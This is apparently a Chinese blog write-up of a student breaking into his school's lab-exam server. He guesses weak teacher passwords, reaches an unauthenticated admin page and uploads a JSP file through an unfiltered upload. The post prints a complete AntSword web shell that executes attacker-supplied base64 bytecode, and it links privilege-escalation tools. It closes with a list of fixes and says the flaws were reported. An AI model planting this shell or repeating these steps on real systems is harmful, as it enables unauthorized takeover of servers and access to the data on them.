写在前面

记录一次对青科实验考试系统的测试,这是我人生第一次进入服务器后台,兴奋记录。
我们学校的实验考试系统的漏洞是在太多了 ,已反映给网络信息办公室,相关信息已经隐藏。

希望有一天能有 CTF 的水平吧(妄想)


思路

  • 弄个账号进后台
  • 找文件上传点,传木马
  • 蚁剑拿 web shell(提权)

究极无语,我有一个学生账号,登进去后确实没任何权限,但是头像上传那里可以直接传jsp,是一点过滤也没有啊,然后直接上传木马拿 shell 就完事了。
没有账号。


1.拿到普通账号:

从登录界面入手,扫一波sql注入,试了像添加 #、//、url编码形式各种各样的sql语句,又拿sqlmap跑了一遍,还是没有发现。

直接撞弱密码字典,果然拿到了几个普通老师账号,账号密码一样的,估计现在也没改。

主界面:

修改头像界面,找到上传点,目标达成。
假装没有上传点,继续


2.进入后台界面

分析一下前端文件,发现编代码的家伙直接把管理地址写在了前端 :new_moon_with_face:

无鉴权,直接进后台(懵)

网站配置全暴露

  • Window Server 2012
  • jdk8
  • MySql 5.5.19
  • TomCat 9.0.4
  • 真实ip地址

3.上传木马,连接蚁剑

在软件管理这,找到配置文件上传,没有任何过滤,直接传jsp小马

需注意的是木马被上传到了临时文件中,随时会被清除,我们先用蚁剑连上,快速重新上传木马到正式文件夹中。

分享一下木马:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
    public byte[] base64Decode(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
    }
%>

蚁剑连接界面:

发现这台服务器上还运行着好几个web服务,文件随便看改,没有防跨站。


4.GetShell

打开终端,查看为system组别,
已是服务器的所有权限

总结:

需要修bug的地方:

  • 学生、老师账号的头像上传,文件类型过滤
  • 更改弱账号密码,设置初次登录修改密码
  • 改掉前端的身份跳转识别,全转到后端判断
  • 增加管理界面的权限过滤器,防止越权访问
  • 防跨站,服务器上不止一个web服务
  • log4j

提权相关,可以搜一下Windows-Exploit-Suggeste的使用方法,自动扫Windows Server中有哪些漏洞可以利用,然后去github上下载 exp,拿到webshell后用漏洞提权。
下面放上github的链接:

https://github.com/AonCyberLabs/Windows-Exploit-Suggester   原版--依赖于python2
https://github.com/Pwnistry/Windows-Exploit-Suggester-python3  python3重写的
https://github.com/Ruiruigo/WinEXP                              web版的